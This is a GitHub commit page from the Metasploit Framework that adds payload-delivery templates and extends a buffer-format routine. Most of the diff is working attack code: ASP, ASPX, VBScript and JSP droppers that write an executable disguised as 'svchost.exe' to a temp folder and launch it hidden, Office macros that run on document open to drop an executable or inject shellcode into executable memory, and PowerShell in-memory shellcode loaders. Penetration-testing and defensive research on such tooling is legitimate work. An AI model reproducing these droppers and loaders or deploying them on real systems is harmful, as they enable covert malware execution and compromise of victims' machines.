Skip to content

Commit eba6762

Browse files
egyptegypt
committed
Land rapid7#2270, Util::EXE refactor
With a minor rebase to fix a commit message [Closes rapid7#2270] Conflicts: spec/support/shared/contexts/msf/util/exe.rb
2 parents 9f04fa6 + fbbfb0a commit eba6762

File tree

13 files changed

+579
-497
lines changed

13 files changed

+579
-497
lines changed

‎data/templates/scripts/to_exe.asp.template

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<%% @language="VBScript" %%>
2+
<%%
3+
Sub %{var_func}()
4+
%{var_shellcode}
5+
Dim %{var_obj}
6+
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
7+
Dim %{var_stream}
8+
Dim %{var_tempdir}
9+
Dim %{var_tempexe}
10+
Dim %{var_basedir}
11+
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
12+
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
13+
%{var_obj}.CreateFolder(%{var_basedir})
14+
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
15+
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
16+
%{var_stream}.Write %{var_bytes}
17+
%{var_stream}.Close
18+
Dim %{var_shell}
19+
Set %{var_shell} = CreateObject("Wscript.Shell")
20+
%{var_shell}.run %{var_tempexe}, 0, false
21+
End Sub
22+
23+
%{var_func}
24+
%%>

‎data/templates/scripts/to_exe.aspx.template

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
<%%@ Page Language="C#" AutoEventWireup="true" %%>
2+
<%%@ Import Namespace="System.IO" %%>
3+
<script runat="server">
4+
protected void Page_Load(object sender, EventArgs e)
5+
{
6+
%{shellcode}
7+
string %{var_tempdir} = Path.GetTempPath();
8+
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
9+
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
10+
11+
Directory.CreateDirectory(%{var_basedir});
12+
13+
FileStream fs = File.Create(%{var_tempexe});
14+
15+
try
16+
{
17+
fs.Write(%{var_file}, 0, %{var_file}.Length);
18+
}
19+
finally
20+
{
21+
if (fs != null) ((IDisposable)fs).Dispose();
22+
}
23+
24+
System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
25+
%{var_proc}.StartInfo.CreateNoWindow = true;
26+
%{var_proc}.StartInfo.UseShellExecute = true;
27+
%{var_proc}.StartInfo.FileName = %{var_tempexe};
28+
%{var_proc}.Start();
29+
}
30+
</script>

‎data/templates/scripts/to_exe.vba.template

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
'**************************************************************
2+
'*
3+
'* This code is now split into two pieces:
4+
'* 1. The Macro. This must be copied into the Office document
5+
'* macro editor. This macro will run on startup.
6+
'*
7+
'* 2. The Data. The hex dump at the end of this output must be
8+
'* appended to the end of the document contents.
9+
'*
10+
'**************************************************************
11+
'*
12+
'* MACRO CODE
13+
'*
14+
'**************************************************************
15+
16+
Sub Auto_Open()
17+
%{func_name1}
18+
End Sub
19+
20+
Sub %{func_name1}()
21+
Dim %{var_appnr} As Integer
22+
Dim %{var_fname} As String
23+
Dim %{var_fenvi} As String
24+
Dim %{var_fhand} As Integer
25+
Dim %{var_parag} As Paragraph
26+
Dim %{var_index} As Integer
27+
Dim %{var_gotmagic} As Boolean
28+
Dim %{var_itemp} As Integer
29+
Dim %{var_stemp} As String
30+
Dim %{var_btemp} As Byte
31+
Dim %{var_magic} as String
32+
%{var_magic} = "%{var_magic}"
33+
%{var_fname} = "%{filename}.exe"
34+
%{var_fenvi} = Environ("USERPROFILE")
35+
ChDrive (%{var_fenvi})
36+
ChDir (%{var_fenvi})
37+
%{var_fhand} = FreeFile()
38+
Open %{var_fname} For Binary As %{var_fhand}
39+
For Each %{var_parag} in ActiveDocument.Paragraphs
40+
DoEvents
41+
%{var_stemp} = %{var_parag}.Range.Text
42+
If (%{var_gotmagic} = True) Then
43+
%{var_index} = 1
44+
While (%{var_index} < Len(%{var_stemp}))
45+
%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
46+
Put #%{var_fhand}, , %{var_btemp}
47+
%{var_index} = %{var_index} + 4
48+
Wend
49+
ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
50+
%{var_gotmagic} = True
51+
End If
52+
Next
53+
Close #%{var_fhand}
54+
%{func_name2}(%{var_fname})
55+
End Sub
56+
57+
Sub %{func_name2}(%{var_farg} As String)
58+
Dim %{var_appnr} As Integer
59+
Dim %{var_fenvi} As String
60+
%{var_fenvi} = Environ("USERPROFILE")
61+
ChDrive (%{var_fenvi})
62+
ChDir (%{var_fenvi})
63+
%{var_appnr} = Shell(%{var_farg}, vbHide)
64+
End Sub
65+
66+
Sub AutoOpen()
67+
Auto_Open
68+
End Sub
69+
70+
Sub Workbook_Open()
71+
Auto_Open
72+
End Sub
73+
74+
'**************************************************************
75+
'*
76+
'* PAYLOAD DATA
77+
'*
78+
'**************************************************************
79+
80+
%{var_magic}
81+
%{data}

‎data/templates/scripts/to_exe.vbs.template

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
Function %{var_func}()
2+
%{var_shellcode}
3+
4+
Dim %{var_obj}
5+
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
6+
Dim %{var_stream}
7+
Dim %{var_tempdir}
8+
Dim %{var_tempexe}
9+
Dim %{var_basedir}
10+
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
11+
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
12+
%{var_obj}.CreateFolder(%{var_basedir})
13+
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
14+
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
15+
%{var_stream}.Write %{var_bytes}
16+
%{var_stream}.Close
17+
Dim %{var_shell}
18+
Set %{var_shell} = CreateObject("Wscript.Shell")
19+
%{var_shell}.run %{var_tempexe}, 0, true
20+
%{var_obj}.DeleteFile(%{var_tempexe})
21+
%{var_obj}.DeleteFolder(%{var_basedir})
22+
End Function
23+
24+
%{init}

‎data/templates/scripts/to_exe_jsp.war.template

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
<%%@ page import="java.io.*" %%>
2+
<%%
3+
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
4+
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
5+
String %{var_data} = "";
6+
7+
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
8+
{
9+
%{var_exepath} = %{var_exepath}.concat(".exe");
10+
}
11+
12+
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
13+
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
14+
15+
int %{var_numbytes} = %{var_inputstream}.available();
16+
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
17+
%{var_inputstream}.read(%{var_bytearray});
18+
%{var_inputstream}.close();
19+
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
20+
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
21+
{
22+
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
23+
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
24+
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
25+
%{var_comb} <<= 4;
26+
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
27+
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
28+
}
29+
30+
%{var_outputstream}.write(%{var_bytes});
31+
%{var_outputstream}.close();
32+
33+
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
34+
String[] %{var_fperm} = new String[3];
35+
%{var_fperm}[0] = "chmod";
36+
%{var_fperm}[1] = "+x";
37+
%{var_fperm}[2] = %{var_exepath};
38+
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
39+
if (%{var_proc}.waitFor() == 0) {
40+
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
41+
}
42+
43+
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
44+
}
45+
else
46+
{
47+
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
48+
}
49+
%%>

‎data/templates/scripts/to_mem.vba.template

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#If Vba7 Then
2+
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
3+
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
4+
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
5+
#Else
6+
Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
7+
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
8+
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
9+
#EndIf
10+
11+
Sub Auto_Open()
12+
Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
13+
#If Vba7 Then
14+
Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
15+
#Else
16+
Dim %{var_rwxpage} As Long, %{var_res} As Long
17+
#EndIf
18+
%{bytes}
19+
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
20+
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
21+
%{var_myByte} = %{var_myArray}(%{var_offset})
22+
%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
23+
Next %{var_offset}
24+
%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
25+
End Sub
26+
Sub AutoOpen()
27+
Auto_Open
28+
End Sub
29+
Sub Workbook_Open()
30+
Auto_Open
31+
End Sub
32+

‎data/templates/scripts/to_mem_dotnet.ps1.template

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
Set-StrictMode -Version 2
2+
$%{var_syscode} = @"
3+
using System;
4+
using System.Runtime.InteropServices;
5+
namespace %{var_kernel32} {
6+
public class func {
7+
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
8+
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
9+
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
10+
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
11+
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
12+
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
13+
}
14+
}
15+
"@
16+
17+
$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
18+
$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
19+
$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
20+
$%{var_compileParams}.GenerateInMemory = $True
21+
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
22+
23+
%{shellcode}
24+
25+
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
26+
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
27+
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
28+
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
29+
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
30+
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)

‎data/templates/scripts/to_mem_old.ps1.template

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
$%{var_syscode} = @"
2+
[DllImport("kernel32.dll")]
3+
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
4+
[DllImport("kernel32.dll")]
5+
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
6+
[DllImport("msvcrt.dll")]
7+
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
8+
"@
9+
10+
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
11+
12+
%{shellcode}
13+
14+
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
15+
16+
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
17+
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
18+
}
19+
20+
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

‎lib/msf/base/simple/buffer.rb

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ module Buffer
1616

1717
#
1818
# Serializes a buffer to a provided format. The formats supported are raw,
19-
# ruby, perl, bash, c, js_be, js_le and java
19+
# ruby, perl, bash, c, js_be, js_le, java and psh
2020
#
2121
def self.transform(buf, fmt = "ruby")
2222
case fmt
@@ -39,6 +39,12 @@ def self.transform(buf, fmt = "ruby")
3939
buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE)
4040
when 'java'
4141
buf = Rex::Text.to_java(buf)
42+
when 'powershell', 'ps1'
43+
buf = Rex::Text.to_powershell(buf)
44+
when 'vbscript'
45+
buf = Rex::Text.to_vbscript(buf)
46+
when 'vbapplication'
47+
buf = Rex::Text.to_vbapplication(buf)
4248
else
4349
raise ArgumentError, "Unsupported buffer format: #{fmt}", caller
4450
end
@@ -78,7 +84,20 @@ def self.comment(buf, fmt = "ruby")
7884
# Returns the list of supported formats
7985
#
8086
def self.transform_formats
81-
['raw','ruby','rb','perl','pl','bash','sh','c','csharp','js_be','js_le','java','python','py']
87+
['raw',
88+
'ruby','rb',
89+
'perl','pl',
90+
'bash','sh',
91+
'c',
92+
'csharp',
93+
'js_be',
94+
'js_le',
95+
'java',
96+
'python','py',
97+
'powershell','ps1',
98+
'vbscript',
99+
'vbapplication'
100+
]
82101
end
83102

84103
end

0 commit comments

Comments
 (0)